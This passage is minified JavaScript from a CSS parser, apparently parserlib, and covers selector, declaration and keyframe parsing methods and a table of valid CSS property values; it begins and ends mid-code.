n?(t&&(n.text=t+n.text,n.col-=t.length),n):(t&&(e.unget(),t.length>1&&e.unget()),null)},_class:function(){var e=this._tokenStream,t;return e.match(Tokens.DOT)?(e.mustMatch(Tokens.IDENT),t=e.token(),new SelectorSubPart(\".\"+t.value,\"class\",t.startLine,t.startCol-1)):null},_element_name:function(){var e=this._tokenStream,t;return e.match(Tokens.IDENT)?(t=e.token(),new SelectorSubPart(t.value,\"elementName\",t.startLine,t.startCol)):null},_namespace_prefix:function(){var e=this._tokenStream,t=\"\";if(e.LA(1)===Tokens.PIPE||e.LA(2)===Tokens.PIPE)e.match([Tokens.IDENT,Tokens.STAR])&&(t+=e.token().value),e.mustMatch(Tokens.PIPE),t+=\"|\";return t.length?t:null},_universal:function(){var e=this._tokenStream,t=\"\",n;return n=this._namespace_prefix(),n&&(t+=n),e.match(Tokens.STAR)&&(t+=\"*\"),t.length?t:null},_attrib:function(){var e=this._tokenStream,t=null,n,r;return e.match(Tokens.LBRACKET)?(r=e.token(),t=r.value,t+=this._readWhitespace(),n=this._namespace_prefix(),n&&(t+=n),e.mustMatch(Tokens.IDENT),t+=e.token().value,t+=this._readWhitespace(),e.match([Tokens.PREFIXMATCH,Tokens.SUFFIXMATCH,Tokens.SUBSTRINGMATCH,Tokens.EQUALS,Tokens.INCLUDES,Tokens.DASHMATCH])&&(t+=e.token().value,t+=this._readWhitespace(),e.mustMatch([Tokens.IDENT,Tokens.STRING]),t+=e.token().value,t+=this._readWhitespace()),e.mustMatch(Tokens.RBRACKET),new SelectorSubPart(t+\"]\",\"attribute\",r.startLine,r.startCol)):null},_pseudo:function(){var e=this._tokenStream,t=null,n=\":\",r,i;return e.match(Tokens.COLON)&&(e.match(Tokens.COLON)&&(n+=\":\"),e.match(Tokens.IDENT)?(t=e.token().value,r=e.token().startLine,i=e.token().startCol-n.length):e.peek()==Tokens.FUNCTION&&(r=e.LT(1).startLine,i=e.LT(1).startCol-n.length,t=this._functional_pseudo()),t&&(t=new SelectorSubPart(n+t,\"pseudo\",r,i))),t},_functional_pseudo:function(){var e=this._tokenStream,t=null;return e.match(Tokens.FUNCTION)&&(t=e.token().value,t+=this._readWhitespace(),t+=this._expression(),e.mustMatch(Tokens.RPAREN),t+=\")\"),t},_expression:function(){var e=this._tokenStream,t=\"\";while(e.match([Tokens.PLUS,Tokens.MINUS,Tokens.DIMENSION,Tokens.NUMBER,Tokens.STRING,Tokens.IDENT,Tokens.LENGTH,Tokens.FREQ,Tokens.ANGLE,Tokens.TIME,Tokens.RESOLUTION,Tokens.SLASH]))t+=e.token().value,t+=this._readWhitespace();return t.length?t:null},_negation:function(){var e=this._tokenStream,t,n,r=\"\",i,s=null;return e.match(Tokens.NOT)&&(r=e.token().value,t=e.token().startLine,n=e.token().startCol,r+=this._readWhitespace(),i=this._negation_arg(),r+=i,r+=this._readWhitespace(),e.match(Tokens.RPAREN),r+=e.token().value,s=new SelectorSubPart(r,\"not\",t,n),s.args.push(i)),s},_negation_arg:function(){var e=this._tokenStream,t=[this._type_selector,this._universal,function(){return e.match(Tokens.HASH)?new SelectorSubPart(e.token().value,\"id\",e.token().startLine,e.token().startCol):null},this._class,this._attrib,this._pseudo],n=null,r=0,i=t.length,s,o,u,a;o=e.LT(1).startLine,u=e.LT(1).startCol;while(r<i&&n===null)n=t[r].call(this),r++;return n===null&&this._unexpectedToken(e.LT(1)),n.type==\"elementName\"?a=new SelectorPart(n,[],n.toString(),o,u):a=new SelectorPart(null,[n],n.toString(),o,u),a},_declaration:function(){var e=this._tokenStream,t=null,n=null,r=null,i=null,s=null,o=\"\";t=this._property();if(t!==null){e.mustMatch(Tokens.COLON),this._readWhitespace(),n=this._expr(),(!n||n.length===0)&&this._unexpectedToken(e.LT(1)),r=this._prio(),o=t.toString();if(this.options.starHack&&t.hack==\"*\"||this.options.underscoreHack&&t.hack==\"_\")o=t.text;try{this._validateProperty(o,n)}catch(u){s=u}return this.fire({type:\"property\",property:t,value:n,important:r,line:t.line,col:t.col,invalid:s}),!0}return!1},_prio:function(){var e=this._tokenStream,t=e.match(Tokens.IMPORTANT_SYM);return this._readWhitespace(),t},_expr:function(e){var t=this._tokenStream,n=[],r=null,i=null;r=this._term(e);if(r!==null){n.push(r);do{i=this._operator(e),i&&n.push(i),r=this._term(e);if(r===null)break;n.push(r)}while(!0)}return n.length>0?new PropertyValue(n,n[0].line,n[0].col):null},_term:function(e){var t=this._tokenStream,n=null,r=null,i=null,s,o,u;return n=this._unary_operator(),n!==null&&(o=t.token().startLine,u=t.token().startCol),t.peek()==Tokens.IE_FUNCTION&&this.options.ieFilters?(r=this._ie_function(),n===null&&(o=t.token().startLine,u=t.token().startCol)):e&&t.match([Tokens.LPAREN,Tokens.LBRACE,Tokens.LBRACKET])?(s=t.token(),i=s.endChar,r=s.value+this._expr(e).text,n===null&&(o=t.token().startLine,u=t.token().startCol),t.mustMatch(Tokens.type(i)),r+=i,this._readWhitespace()):t.match([Tokens.NUMBER,Tokens.PERCENTAGE,Tokens.LENGTH,Tokens.ANGLE,Tokens.TIME,Tokens.FREQ,Tokens.STRING,Tokens.IDENT,Tokens.URI,Tokens.UNICODE_RANGE])?(r=t.token().value,n===null&&(o=t.token().startLine,u=t.token().startCol),this._readWhitespace()):(s=this._hexcolor(),s===null?(n===null&&(o=t.LT(1).startLine,u=t.LT(1).startCol),r===null&&(t.LA(3)==Tokens.EQUALS&&this.options.ieFilters?r=this._ie_function():r=this._function())):(r=s.value,n===null&&(o=s.startLine,u=s.startCol))),r!==null?new PropertyValuePart(n!==null?n+r:r,o,u):null},_function:function(){var e=this._tokenStream,t=null,n=null,r;if(e.match(Tokens.FUNCTION)){t=e.token().value,this._readWhitespace(),n=this._expr(!0),t+=n;if(this.options.ieFilters&&e.peek()==Tokens.EQUALS)do{this._readWhitespace()&&(t+=e.token().value),e.LA(0)==Tokens.COMMA&&(t+=e.token().value),e.match(Tokens.IDENT),t+=e.token().value,e.match(Tokens.EQUALS),t+=e.token().value,r=e.peek();while(r!=Tokens.COMMA&&r!=Tokens.S&&r!=Tokens.RPAREN)e.get(),t+=e.token().value,r=e.peek()}while(e.match([Tokens.COMMA,Tokens.S]));e.match(Tokens.RPAREN),t+=\")\",this._readWhitespace()}return t},_ie_function:function(){var e=this._tokenStream,t=null,n=null,r;if(e.match([Tokens.IE_FUNCTION,Tokens.FUNCTION])){t=e.token().value;do{this._readWhitespace()&&(t+=e.token().value),e.LA(0)==Tokens.COMMA&&(t+=e.token().value),e.match(Tokens.IDENT),t+=e.token().value,e.match(Tokens.EQUALS),t+=e.token().value,r=e.peek();while(r!=Tokens.COMMA&&r!=Tokens.S&&r!=Tokens.RPAREN)e.get(),t+=e.token().value,r=e.peek()}while(e.match([Tokens.COMMA,Tokens.S]));e.match(Tokens.RPAREN),t+=\")\",this._readWhitespace()}return t},_hexcolor:function(){var e=this._tokenStream,t=null,n;if(e.match(Tokens.HASH)){t=e.token(),n=t.value;if(!/#[a-f0-9]{3,6}/i.test(n))throw new SyntaxError(\"Expected a hex color but found '\"+n+\"' at line \"+t.startLine+\", col \"+t.startCol+\".\",t.startLine,t.startCol);this._readWhitespace()}return t},_keyframes:function(){var e=this._tokenStream,t,n,r,i=\"\";e.mustMatch(Tokens.KEYFRAMES_SYM),t=e.token(),/^@\\-([^\\-]+)\\-/.test(t.value)&&(i=RegExp.$1),this._readWhitespace(),r=this._keyframe_name(),this._readWhitespace(),e.mustMatch(Tokens.LBRACE),this.fire({type:\"startkeyframes\",name:r,prefix:i,line:t.startLine,col:t.startCol}),this._readWhitespace(),n=e.peek();while(n==Tokens.IDENT||n==Tokens.PERCENTAGE)this._keyframe_rule(),this._readWhitespace(),n=e.peek();this.fire({type:\"endkeyframes\",name:r,prefix:i,line:t.startLine,col:t.startCol}),this._readWhitespace(),e.mustMatch(Tokens.RBRACE)},_keyframe_name:function(){var e=this._tokenStream,t;return e.mustMatch([Tokens.IDENT,Tokens.STRING]),SyntaxUnit.fromToken(e.token())},_keyframe_rule:function(){var e=this._tokenStream,t,n=this._key_list();this.fire({type:\"startkeyframerule\",keys:n,line:n[0].line,col:n[0].col}),this._readDeclarations(!0),this.fire({type:\"endkeyframerule\",keys:n,line:n[0].line,col:n[0].col})},_key_list:function(){var e=this._tokenStream,t,n,r=[];r.push(this._key()),this._readWhitespace();while(e.match(Tokens.COMMA))this._readWhitespace(),r.push(this._key()),this._readWhitespace();return r},_key:function(){var e=this._tokenStream,t;if(e.match(Tokens.PERCENTAGE))return SyntaxUnit.fromToken(e.token());if(e.match(Tokens.IDENT)){t=e.token();if(/from|to/i.test(t.value))return SyntaxUnit.fromToken(t);e.unget()}this._unexpectedToken(e.LT(1))},_skipCruft:function(){while(this._tokenStream.match([Tokens.S,Tokens.CDO,Tokens.CDC]));},_readDeclarations:function(e,t){var n=this._tokenStream,r;this._readWhitespace(),e&&n.mustMatch(Tokens.LBRACE),this._readWhitespace();try{for(;;){if(!(n.match(Tokens.SEMICOLON)||t&&this._margin())){if(!this._declaration())break;if(!n.match(Tokens.SEMICOLON))break}this._readWhitespace()}n.mustMatch(Tokens.RBRACE),this._readWhitespace()}catch(i){if(!(i instanceof SyntaxError&&!this.options.strict))throw i;this.fire({type:\"error\",error:i,message:i.message,line:i.line,col:i.col}),r=n.advance([Tokens.SEMICOLON,Tokens.RBRACE]);if(r==Tokens.SEMICOLON)this._readDeclarations(!1,t);else if(r!=Tokens.RBRACE)throw i}},_readWhitespace:function(){var e=this._tokenStream,t=\"\";while(e.match(Tokens.S))t+=e.token().value;return t},_unexpectedToken:function(e){throw new SyntaxError(\"Unexpected token '\"+e.value+\"' at line \"+e.startLine+\", col \"+e.startCol+\".\",e.startLine,e.startCol)},_verifyEnd:function(){this._tokenStream.LA(1)!=Tokens.EOF&&this._unexpectedToken(this._tokenStream.LT(1))},_validateProperty:function(e,t){Validation.validate(e,t)},parse:function(e){this._tokenStream=new TokenStream(e,Tokens),this._stylesheet()},parseStyleSheet:function(e){return this.parse(e)},parseMediaQuery:function(e){this._tokenStream=new TokenStream(e,Tokens);var t=this._media_query();return this._verifyEnd(),t},parsePropertyValue:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._expr();return this._readWhitespace(),this._verifyEnd(),t},parseRule:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._ruleset();return this._readWhitespace(),this._verifyEnd(),t},parseSelector:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._selector();return this._readWhitespace(),this._verifyEnd(),t},parseStyleAttribute:function(e){e+=\"}\",this._tokenStream=new TokenStream(e,Tokens),this._readDeclarations()}};for(t in n)n.hasOwnProperty(t)&&(e[t]=n[t]);return e}();var Properties={\"align-items\":\"flex-start | flex-end | center | baseline | stretch\",\"align-content\":\"flex-start | flex-end | center | space-between | space-around | stretch\",\"align-self\":\"auto | flex-start | flex-end | center | baseline | stretch\",\"-webkit-align-items\":\"flex-start | flex-end | center | baseline | stretch\",\"-webkit-align-content\":\"flex-start | flex-end | center | space-between | space-around | stretch\",\"-webkit-align-self\":\"auto | flex-start | flex-end | center | baseline | stretch\",\"alignment-adjust\":\"auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>\",\"alignment-baseline\":\"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",animation:1,\"animation-delay\":{multi:\"<time>\",comma:!0},\"animation-direction\":{multi:\"normal | alternate\",comma:!0},\"animation-duration\":{multi:\"<time>\",comma:!0},\"animation-fill-mode\":{multi:\"none | forwards | backwards | both\",comma:!0},\"animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"animation-name\":{multi:\"none | <ident>\",comma:!0},\"animation-play-state\":{multi:\"running | paused\",comma:!0},\"animation-timing-function\":1,\"-moz-animation-delay\":{multi:\"<time>\",comma:!0},\"-moz-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-moz-animation-duration\":{multi:\"<time>\",comma:!0},\"-moz-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-moz-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-moz-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-ms-animation-delay\":{multi:\"<time>\",comma:!0},\"-ms-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-ms-animation-duration\":{multi:\"<time>\",comma:!0},\"-ms-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-ms-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-ms-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-webkit-animation-delay\":{multi:\"<time>\",comma:!0},\"-webkit-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-webkit-animation-duration\":{multi:\"<time>\",comma:!0},\"-webkit-animation-fill-mode\":{multi:\"none | forwards | backwards | both\",comma:!0},\"-webkit-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-webkit-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-webkit-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-o-animation-delay\":{multi:\"<time>\",comma:!0},\"-o-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-o-animation-duration\":{multi:\"<time>\",comma:!0},\"-o-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-o-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-o-animation-play-state\":{multi:\"running | paused\",comma:!0},appearance:\"icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal | none | inherit\",azimuth:function(e){var t=\"<angle> | leftwards | rightwards | inherit\",n=\"left-side | far-left | left | center-left | center | center-right | right | far-right | right-side\",r=!1,i=!1,s;ValidationTypes.isAny(e,t)||(ValidationTypes.isAny(e,\"behind\")&&(r=!0,i=!0),ValidationTypes.isAny(e,n)&&(i=!0,r||ValidationTypes.isAny(e,\"behind\")));if(e.hasNext())throw s=e.next(),i?new ValidationError(\"Expected end of value but found '\"+s+\"'.\",s.line,s.col):new ValidationError(\"Expected (<'azimuth'>) but found '\"+s+\"'.\",s.line,s.col)},\"backface-visibility\":\"visible | hidden\",background:1,\"background-attachment\":{multi:\"<attachment>\",comma:!0},\"background-clip\":{multi:\"<box>\",comma:!0},\"background-color\":\"<color> | inherit\",\"background-image\":{multi:\"<bg-image>\",comma:!0},\"background-origin\":{multi:\"<box>\",comma:!0},\"background-position\":{multi:\"<bg-position>\",comma:!0},\"background-repeat\":{multi:\"<repeat-style>\"},\"background-size\":{multi:\"<bg-size>\",comma:!0},\"baseline-shift\":\"baseline | sub | super | <percentage> | <length>\",behavior:1,binding:1,bleed:\"<length>\",\"bookmark-label\":\"<content> | <attr> | <string>\",\"bookmark-level\":\"none | <integer>\",\"bookmark-state\":\"open | closed\",\"bookmark-target\":\"none | <uri> | <attr>\",border:\"<border-width> || <border-style> || <color>\",\"border-bottom\":\"<border-width> || <border-style> || <color>\",\"border-bottom-color\":\"<color> | inherit\",\"border-bottom-left-radius\":\"<x-one-radius>\",\"border-bottom-right-radius\":\"<x-one-radius>\",\"border-bottom-style\":\"<border-style>\",\"border-bottom-width\":\"<border-width>\",\"border-collapse\":\"collapse | separate | inherit\",\"border-color\":{multi:\"<color> | inherit\",max:4},\"border-image\":1,\"border-image-outset\":{multi:\"<length> | <number>\",max:4},\"border-image-repeat\":{multi:\"stretch | repeat | round\",max:2},\"border-image-slice\":function(e){var t=!1,n=\"<number> | <percentage>\",r=!1,i=0,s=4,o;ValidationTypes.isAny(e,\"fill\")&&(r=!0,t=!0);while(e.hasNext()&&i<s){t=ValidationTypes.isAny(e,n);if(!t)break;i++}r?t=!0:ValidationTypes.isAny(e,\"fill\");if(e.hasNext())throw o=e.next(),t?new ValidationError(\"Expected end of value but found '\"+o+\"'.\",o.line,o.col):new ValidationError(\"Expected ([<number> | <percentage>]{1,4} && fill?) but found '\"+o+\"'.\",o.line,o.col)},\"border-image-source\":\"<image> | none\",\"border-image-width\":{multi:\"<length> | <percentage> | <number> | auto\",max:4},\"border-left\":\"<border-width> || <border-style> || <color>\",\"border-left-color\":\"<color> | inherit\",\"border-left-style\":\"<border-style>\",\"border-left-width\":\"<border-width>\",\"border-radius\":function(e){var t=!1,n=\"<length> | <percentage> | inherit\",r=!1,i=!1,s=0,o=8,u;while(e.hasNext()&&s<o){t=ValidationTypes.isAny(e,n);if(!t){if(!(e.peek()==\"/\"&&s>0&&!r))break;r=!0,o=s+5,e.next()}s++}if(e.hasNext())throw u=e.next(),t?new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col):new ValidationError(\"Expected (<'border-radius'>) but found '\"+u+\"'.\",u.line,u.col)},\"border-right\":\"<border-width> || <border-style> || <color>\",\"border-right-color\":\"<color> | inherit\",\"border-right-style\":\"<border-style>\",\"border-right-width\":\"<border-width>\",\"border-spacing\":{multi:\"<length> | inherit\",max:2},\"border-style\":{multi:\"<border-style>\",max:4},\"border-top\":\"<border-width> || <border-style> || <color>\",\"border-top-color\":\"<color> | inherit\",\"border-top-left-radius\":\"<x-one-radius>\",\"border-top-right-radius\":\"<x-one-radius>\",\"border-top-style\":\"<border-style>\",\"border-top-width\":\"<border-width>\",\"border-width\":{multi:\"<border-width>\",max:4},bottom:\"<margin-width> | inherit\",\"-moz-box-align\":\"start | end | center | baseline | stretch\",\"-moz-box-decoration-break\":\"slice |clone\",\"-moz-box-direction\":\"normal | reverse | inherit\",\"-moz-box-flex\":\"<number>\",\"-moz-box-flex-group\":\"<integer>\",\"-moz-box-lines\":\"single | multiple\",\"-moz-box-ordinal-group\":\"<integer>\",\"-moz-box-orient\":\"horizontal | vertical | inline-axis | block-axis | inherit\",\"-moz-box-pack\":\"start | end | center | justify\",\"-webkit-box-align\":\"start | end | center | baseline | stretch\",\"-webkit-box-decoration-break\":\"slice |clone\",\"-webkit-box-direction\":\"normal | reverse | inherit\",\"-webkit-box-flex\":\"<number>\",\"-webkit-box-flex-group\":\"<integer>\",\"-webkit-box-lines\":\"single | multiple\",\"-webkit-box-ordinal-group\":\"<integer>\",\"-webkit-box-orient\":\"horizontal | vertical | inline-axis | block-axis | inherit\",\"-webkit-box-pack\":\"start | end | center | justify\",\"box-shadow\":function(e){var t=!1,n;if(!ValidationTypes.isAny(e,\"none\"))Validation.multiProperty(\"<shadow>\",e,!0,Infinity);else if(e.hasNext())throw n=e.next(),new ValidationError(\"Expected end of value but found '\"+n+\"'.\",n.line,n.col)},\"box-sizing\":\"content-box | border-box | inherit\",\"break-after\":\"auto | always | avoid | left | right | page | column | avoid-page | avoid-column\",\"break-before\":\"auto | always | avoid | left | right | page | column | avoid-page | avoid-column\",\"break-inside\":\"auto | avoid | avoid-page | avoid-column\",\"caption-side\":\"top | bottom | inherit\",clear:\"none | right | left | both | inherit\",clip:1,color:\"<color> | inherit\",\"color-profile\":1,\"column-count\":\"<integer> | auto\",\"column-fill\":\"auto | balance\",\"column-gap\":\"<length> | normal\",\"column-rule\":\"<border-width> || <border-style> || <color>\",\"column-rule-color\":\"<color>\",\"column-rule-style\":\"<border-style>\",\"column-rule-width\":\"<border-width>\",\"column-span\":\"none | all\",\"column-width\":\"<length> | auto\",columns:1,content:1,\"counter-increment\":1,\"counter-reset\":1,crop:\"<shape> | auto\",cue:\"cue-after | cue-before | inherit\",\"cue-after\":1,\"cue-before\":1,cursor:1,direction:\"ltr | rtl | inherit\",display:\"inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | none | inherit | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex\",\"dominant-baseline\":1,\"drop-initial-after-adjust\":\"central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>\",\"drop-initial-after-align\":\"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",\"drop-initial-before-adjust\":\"before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>\",\"drop-initial-before-align\":\"caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",\"drop-initial-size\":\"auto | line | <length> | <percentage>\",\"drop-initial-value\":\"initial | <integer>\",elevation:\"<angle> | below | level | above | higher | lower | inherit\",\"empty-cells\":\"show | hide | inherit\",filter:1,fit:\"fill | hidden | meet | slice\",\"fit-position\":1,flex:\"<flex>\",\"flex-basis\":\"<width>\",\"flex-direction\":\"row | row-reverse | column | column-reverse\",\"flex-flow\":\"<flex-direction> || <flex-wrap>\",\"flex-grow\":\"<number>\",\"flex-shrink\":\"<number>\",\"flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"-webkit-flex\":\"<flex>\",\"-webkit-flex-basis\":\"<width>\",\"-webkit-flex-direction\":\"row | row-reverse | column | column-reverse\",\"-webkit-flex-flow\":\"<flex-direction> || <flex-wrap>\",\"-webkit-flex-grow\":\"<number>\",\"-webkit-flex-shrink\":\"<number>\",\"-webkit-flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"-ms-flex\":\"<flex>\",\"-ms-flex-align\":\"start | end | center | stretch | baseline\",\"-ms-flex-direction\":\"row | row-reverse | column | column-reverse | inherit\",\"-ms-flex-order\":\"<number>\",\"-ms-flex-pack\":\"start | end | center | justify\",\"-ms-flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"float\":\"left | right | none | inherit\",\"float-offset\":1,font:1,\"font-family\":1,\"font-size\":\"<absolute-size> | <relative-size> | <length> | <percentage> | inherit\",\"font-size-adjust\":\"<number> | none | inherit\",\"font-stretch\":\"normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | inherit\",\"font-style\":\"normal | italic | oblique | inherit\",\"font-variant\":\"normal | small-caps | inherit\",\"font-weight\":\"normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit\",\"grid-cell-stacking\":\"columns | rows | layer\",\"grid-column\":1,\"grid-columns\":1,\"grid-column-align\":\"start | end | center | stretch\",\"grid-column-sizing\":1,\"grid-column-span\":\"<integer>\",\"grid-flow\":\"none | rows | columns\",\"grid-layer\":\"<integer>\",\"grid-row\":1,\"grid-rows\":1,\"grid-row-align\":\"start | end | center | stretch\",\"grid-row-span\":\"<integer>\",\"grid-row-sizing\":1,\"hanging-punctuation\":1,height:\"<margin-width> | <content-sizing> | inherit\",\"hyphenate-after\":\"<integer> | auto\",\"hyphenate-before\":\"<integer> | auto\",\"hyphenate-character\":\"<string> | auto\",\"hyphenate-lines\":\"no-limit | <integer>\",\"hyphenate-resource\":1,hyphens:\"none | manual | auto\",icon:1,\"image-orientation\":\"angle | auto\",\"image-rendering\":1,\"image-resolution\":1,\"inline-box-align\":\"initial | last | <integer>\",\"justify-content\":\"flex-start | flex-end | center | space-between | space-around\",\"-webkit-justify-content\":\"flex-start | flex-end | center | space-between | space-around\",left:\"<margin-width> | inherit\",\"letter-spacing\":\"<length> | normal | inherit\",\"line-height\":\"<number> | <length> | <percentage> | normal | inherit\",\"line-break\":\"auto | loose | normal | strict\",\"line-stacking\":1,\"line-stacking-ruby\":\"exclude-ruby | include-ruby\",\"line-stacking-shift\":\"consider-shifts | disregard-shifts\",\"line-stacking-strategy\":\"inline-line-height | block-line-height | max-height | grid-height\",\"list-style\":1,\"list-style-image\":\"<uri> | none | inherit\",\"list-style-position\":\"inside | outside | inherit\",\"list-style-type\":\"disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none | inherit\",margin:{multi:\"<margin-width> | inherit\",max:4},\"margin-bottom\":\"<margin-width> | inherit\",\"margin-left\":\"<margin-width> | inherit\",\"margin-right\":\"<margin-width> | inherit\",\"margin-top\":\"<margin-width> | inherit\",mark:1,\"mark-after\":1,\"mark-before\":1,marks:1,\"marquee-direction\":1,\"marquee-play-count\":1,\"marquee-speed\":1,\"marquee-style\":1,\"max-height\":\"<length> | <percentage> | <content-sizing> | none | inherit\",\"max-width\":\"<length> | <percentage> | <content-sizing> | none | inherit\",\"min-height\":\"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit\",\"min-width\":\"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit\",\"move-to\":1,\"nav-down\":1,\"nav-index\":1,\"nav-left\":1,\"nav-right\":1,\"nav-up\":1,opacity:\"<number> | inherit\",order:\"<integer>\",\"-webkit-order\":\"<integer>\",orphans:\"<integer> | inherit\",outline:1,\"outline-color\":\"<color> | invert | inherit\",\"outline-offset\":1,\"outline-style\":\"<border-style> | inherit\",\"outline-width\":\"<border-width> | inherit\",overflow:\"visible | hidden | scroll | auto | inherit\",\"overflow-style\":1,\"overflow-wrap\":\"normal | break-word\",\"overflow-x\":1,\"overflow-y\":1,padding:{multi:\"<padding-width> | inherit\",max:4},\"padding-bottom\":\"<padding-width> | inherit\",\"padding-left\":\"<padding-width> | inherit\",\"padding-right\":\"<padding-width> | inherit\",\"padding-top\":\"<padding-width> | inherit\",page:1,\"page-break-after\":\"auto | always | avoid | left | right | inherit\",\"page-break-before\":\"auto | always | avoid | left | right | inherit\",\"page-break-inside\":\"auto | avoid | inherit\",\"page-policy\":1,pause:1,\"pause-after\":1,\"pause-before\":1,perspective:1,\"perspective-origin\":1,phonemes:1,pitch:1,\"pitch-range\":1,\"play-during\":1,\"pointer-events\":\"auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all | inherit\",position:\"static | relative | absolute | fixed | inherit\",\"presentation-level\":1,\"punctuation-trim\":1,quotes:1,\"rendering-intent\":1,resize:1,rest:1,\"rest-after\":1,\"rest-before\":1,richness:1,right:\"<margin-width> | inherit\",rotation:1,\"rotation-point\":1,\"ruby-align\":1,\"ruby-overhang\":1,\"ruby-position\":1,\"ruby-span\":1,size:1,speak:\"normal | none | spell-out | inherit\",\"speak-header\":\"once | always | inherit\",\"speak-numeral\":\"digits | continuous | inherit\",\"speak-punctuation\":\"code | none | inherit\",\"speech-rate\":1,src:1,stress:1,\"string-set\":1,\"table-layout\":\"auto | fixed | inherit\",\"tab-size\":\"<integer> | <length>\",target:1,\"target-name\":1,\"target-new\":1,\"target-position\":1,\"text-align\":\"left | right | center | justify | inherit\",\"text-align-last\":1,\"text-decoration\":1,\"text-emphasis\":1,\"text-height\":1,\"text-indent\":\"<length> | <percentage> | inherit\",\"text-justify\":\"auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida\",\"text-outline\":1,\"text-overflow\":1,\"text-rendering\":\"auto | optimizeSpeed | optimizeLegibility | geometricPrecision | inherit\",\"text-shadow\":1,\"text-transform\":\"capitalize | uppercase | lowercase | none | inherit\",\"text-wrap\":\"normal | none | avoid\",top:\"<margin-width> | inherit\",\"-ms-touch-action\":\"auto | none | pan-x | pan-y\",\"touch-action\":\"auto | none | pan-x | pan-y\",transform:1,\"transform-origin\":1,\"transform-style\":1,transition:1,\"transition-delay\":1,\"transition-duration\":1,\"transition-property\":1,\"transition-timing-function\":1,\"unicode-bidi\":\"normal | embed | isolate | bidi-override | isolate-override | plaintext | inherit\",\"user-modify\":\"read-only | read-write | write-only | inherit\",\"user-select\":\"none | text | toggle | element | elements | all | inherit\",\"vertical-align\":\"auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>\",visibility:\"visible | hidden | collapse | inherit\",\"voice-balance\":1,\"voice-duration\":1,\"voice-family\":1,\"voice-pitch\":1,\"voice-pitch-range\":1,\"voice-rate\":1,\"voice-stress\":1,\"voice-volume\":1,volume:1,\"white-space\":\"normal | pre | nowrap | pre-wrap | pre-line | inherit | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap\",\"white-space-collapse\":1,widows:\"<integer> | inherit\",width:\"<length> | <percentage> | <content-sizing> | auto | inherit\",\"word-break\":\"normal | keep-all | break-all\",\"word-spacing\":\"<length> | normal | inherit\",\"word-wrap\":\"normal | break-word\",\"writing-mode\":\"horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb | inherit\",\"z-index\":\"<integer> | auto | inherit\",zoom:\"<number> | <percentage> | normal\"};PropertyName.prototype=new SyntaxUnit,PropertyName.prototype.constructor=PropertyName,PropertyName.prototype.toString=function(){return(this.hack?this.hack:\"\")+this.text},PropertyValue.prototype=new SyntaxUnit,PropertyValue.prototype.constructor=PropertyValue,PropertyValueIterator.prototype.count=function(){return this._parts.length},PropertyValueIterator.prototype.isFirst=function(){return this._i===0},PropertyValueIterator.prototype.hasNext=function(){return this._i<this._parts.length},PropertyValueIterator.prototype.mark=function(){this._marks.push(this._i)},PropertyValueIterator.prototype.peek=function(e){return this.hasNext()?this._parts[this._i+(e||0)]:null},PropertyValueIterator.prototype.next=function(){return this.hasNext()?this._parts[this._i++]:null},PropertyValueIterator.prototype.previous=function(){return 